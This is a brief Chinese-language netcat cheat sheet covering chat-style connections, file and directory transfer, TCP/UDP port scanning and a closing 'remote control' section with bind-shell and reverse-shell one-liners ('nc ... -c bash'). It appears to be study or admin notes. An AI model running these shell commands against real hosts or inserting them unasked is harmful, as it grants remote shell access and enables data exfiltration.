nc
基本通讯
server: nc -lp port
监听port
,等待连接
client : nc -nv ip port
连接服务器端
文件传递
server : nc -lp port < file -q 1
把文件放到port
等待连接的客户端下载
client : nc -nv ip port > file
连接服务器下载文件
或者
server : nc -lp port > file
等待连接的客户端上传文件
client : nc -nv ip port < file
上传文件
传目录
思路:先打包再传递
tar -cvf - file | nc -nv ip port
nc -lp port | tar -xvf -
端口扫描
参数 z
默认无TCP
,加上u 为UDP
扫描
nc -z -nv ip port
nc -zu -nv ip port
远程控制
nc -lp port -c bash
nc ip port
或者
nc -lp port
nc ip port -c bash